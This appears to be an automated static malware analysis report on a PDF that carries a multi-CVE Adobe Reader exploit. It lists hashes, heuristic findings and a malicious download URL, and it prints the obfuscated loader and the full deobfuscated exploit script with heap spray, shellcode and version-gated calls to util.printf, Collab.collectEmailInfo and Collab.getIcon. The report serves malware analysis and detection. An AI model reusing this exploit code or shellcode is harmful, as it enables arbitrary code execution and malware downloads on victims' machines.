Malicious PDF — malware analysis report

Static analysis result for SHA-256 350396cda4f6d3fe…

MALICIOUS

PDF

5.5 KB Created: 2008-09-24 19:47:56 Authoring application: Adobe (via Notepad) First seen: 2026-05-10
MD5: 3199016c89c79cb27e0a20710a2f5608 SHA-1: 520b0b4e329c6f95046d3cf42d986906fe4024e3 SHA-256: 350396cda4f6d3fe8506220495b07016b098662399faf2c9aa76bd0973037535
490 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript with an eval() call, indicating an attempt to execute obfuscated code. This is further supported by heuristic firings for PDF_JAVASCRIPT, PDF_JS, and PDF_EVAL. The presence of obfuscated script suggests the file is designed to download and execute a second-stage payload. No specific family could be identified due to the generic nature of the obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    RqO8R=24;if(app.alert)RqO8R++;YbON=this;bBw=unescape;Wza=YbON.info;RqO8R=bBw('%'+RqO8R);HJzxy=Wza.Trailer.replace(/[A-Z]/g,RqO8R);eval(bBw(HJzxy))
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://wlakumoncenter.com/administrator/indexz.php?id=10& Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0006_000.js pdf-javascript-stream PDF /JS object 6 at offset 0x1353 146 bytes
SHA-256: e530f80c9ba8aa3ef8d526c38e1e7c71a388cf2ed81a970ad8473b5b989e1e0b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
RqO8R=24;if(app.alert)RqO8R++;YbON=this;bBw=unescape;Wza=YbON.info;RqO8R=bBw('%'+RqO8R);HJzxy=Wza.Trailer.replace(/[A-Z]/g,RqO8R);eval(bBw(HJzxy))
info_trailer_percent_stage_000.js deobfuscated-js Info /Trailer percent-placeholder decoded JavaScript (object 5, info object 9) at offset 0x136 2689 bytes
SHA-256: 87a1888744275ddd8ae726c2fff2626400f2dbf85f2f11b03d97ffa7e34071db
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
DwfR=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u772F%u616C%u756B%u6F6D%u636E%u6E65%u6574%u2E72%u6F63%u2F6D%u6461%u696D%u696E%u7473%u6172%u6F74%u2F72%u6E69%u6564%u7A78%u702E%u7068%u693F%u3D64%u3031%u0026"); var f4JCg=new Array(); function mRXx(h6V3,lAbW9){ while(h6V3.length*2<lAbW9)h6V3+=h6V3; h6V3=h6V3.substring(0,lAbW9/2);return h6V3;} function mCE1q(){ var NjrH=0x0c0c0c0c;var bAO=0x400000;var y3N=DwfR.length*2; var lAbW9=bAO-(y3N+0x38);var h6V3=unescape("%u9090%u9090"); h6V3=mRXx(h6V3,lAbW9);var bqxw=(NjrH-0x400000)/bAO; for (var b34j=0;b34j<bqxw;b34j++)f4JCg[b34j]=h6V3+DwfR;} try{var Z3f=app.viewerVersion.toString(); Z3f=Z3f.charAt(0)*100+Z3f.charAt(2)*10+Z3f.charAt(4); if((Z3f>=800)&&(Z3f<=812)){ var DTm=unescape("%u0A0A%u0A0A");var E01uL=20;var Uq5M=E01uL+DwfR.length; while(DTm.length<Uq5M)DTm+=DTm;var cyQX=DTm.substring(0,Uq5M); var wf9hV=DTm.substring(0,DTm.length-Uq5M); while(wf9hV.length+Uq5M<0x60000)wf9hV=wf9hV+wf9hV+cyQX; for(D64c=0;D64c<1200;D64c++){f4JCg[D64c]=wf9hV+DwfR} var Sai="12999999999999999999";for(qg3kW=0;qg3kW<276;qg3kW++)Sai+="8"; util.printf("%45000f",Sai);} if((Z3f<710)||((Z3f>800)&&(Z3f<812))){mCE1q(); var JuwB=unescape("%u0c0c%u0c0c");while(JuwB.length<44952)JuwB+=JuwB; this.collabStore=Collab.collectEmailInfo({subj:"",msg:JuwB});} if((Z3f<=900)&&(Z3f!=711)&&(Z3f!=813)&&app.doc.Collab.getIcon){mCE1q(); var Vh3=unescape("%09");while(Vh3.length<0x4000){Vh3+=Vh3;} Vh3="N."+Vh3;app.doc.Collab.getIcon(Vh3);} }catch(e){}